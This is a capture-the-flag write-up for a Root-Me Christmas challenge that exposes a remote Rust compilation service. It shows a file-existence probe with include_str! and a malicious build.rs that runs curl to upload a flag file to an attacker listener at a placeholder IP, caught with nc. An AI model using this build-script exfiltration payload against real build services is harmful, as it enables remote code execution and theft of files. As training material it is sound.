← BACK

Day 04 - Build And Drustroy

< Go back

Description

I love rust because it's secure and fast. So I want people to do MOAR rust.

That's why I made a microservice to allow fast and easy remote code compilation.

Send my your code, I'll compile it, and I know for sure I'm safe!

curl -sSk -X POST -H 'Content-Type: application/json' https://day4.challenges.xmas.root-me.org/remote-build -d '{"src/main.rs":"fn main() { println!(\"Hello, world!\"); }"}' --output binary
# file binary # binary: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, ...

Author : Laluka https://day4.challenges.xmas.root-me.org/

all files in resources/ were provided.

Challenge

Trying blind path traversal

Using include_str() we can determine if a folder exists:

curl -sSk -X POST -H 'Content-Type: application/json' https://day4.challenges.xmas.root-me.org/remote-build -d '{"src/main.rs":"fn main() {compile_error!(include_str!(\"/flag/\"));}"}' --output binary
# Build failed:    Compiling temp_build v0.1.0 (/tmp/.tmp8Nink3)
# error: couldn't read `/flag/`: Is a directory (os error 21)
#  --> src/main.rs:1:27
# 1 | fn main() {compile_error!(include_str!("/flag/"));}
#   |                           ^^^^^^^^^^^^^^^^^^^^^^
#   = note: this error originates in the macro `include_str` (in Nightly builds, run with -Z macro-backtrace for more info)
# error: could not compile `temp_build` (bin "temp_build") due to 1 previous error

For example here with include_str!("/flag") we can see that the /flag folder exists.

This actually doesn't lead much further, so let's try something else.

Using compile-time macros to RCE

So the idea is to use the compile_error! macro to execute code at compile time. We still need a main.rs file, but let's also send a build.rs

buid.rs:

use std::process::Command;

fn main(){
  Command::new("curl")
    .args(&["-F",
            "file=@/flag/randomflaglolilolbigbisous.txt",
            "http://<IP>:8889"])
    .status()
    .unwrap();
}

This function becomes the following JSON mess:

{
  "build.rs": "use std::process::Command;fn main(){Command::new(\"curl\").args(&[\"-F\",\"file=@/flag/randomflaglolilolbigbisous.txt\",\"http://<IP>:8889\"]).status().unwrap();}",
  "src/main.rs": "fn main(){}"
}

Which then gets one-lined and shoved inside the demo curl command given in the description of the challenge:

curl -sSk -X POST -H 'Content-Type: application/json' <https://day4.challenges.xmas.root-me.org/remote-build> -d '{"build.rs":"use std::process::Command;fn main(){Command::new(\"curl\").args(&[\"-F\",\"file=@/flag/randomflaglolilolbigbisous.txt\",\"http://<IP>:8889\"]).status().unwrap();}","src/main.rs":"fn main(){}"}' --output binary

Before running the payload, we start our listener, and then run it!

nc -lnvp 8889
# Listening on 0.0.0.0 8889
# Connection received on 163.172.68.42 52674
# POST / HTTP/1.1
# Host: <IP>:8889
# User-Agent: curl/7.88.1
# Accept: */*
# Content-Length: 238
# Content-Type: multipart/form-data; boundary=------------------------e473020fb62116fc

# --------------------------e473020fb62116fc
# Content-Disposition: form-data; name="file"; filename="randomflaglolilolbigbisous.txt"
# Content-Type: text/plain

# OffenSkillSaysHi2024RustAbuse

# --------------------------e473020fb62116fc--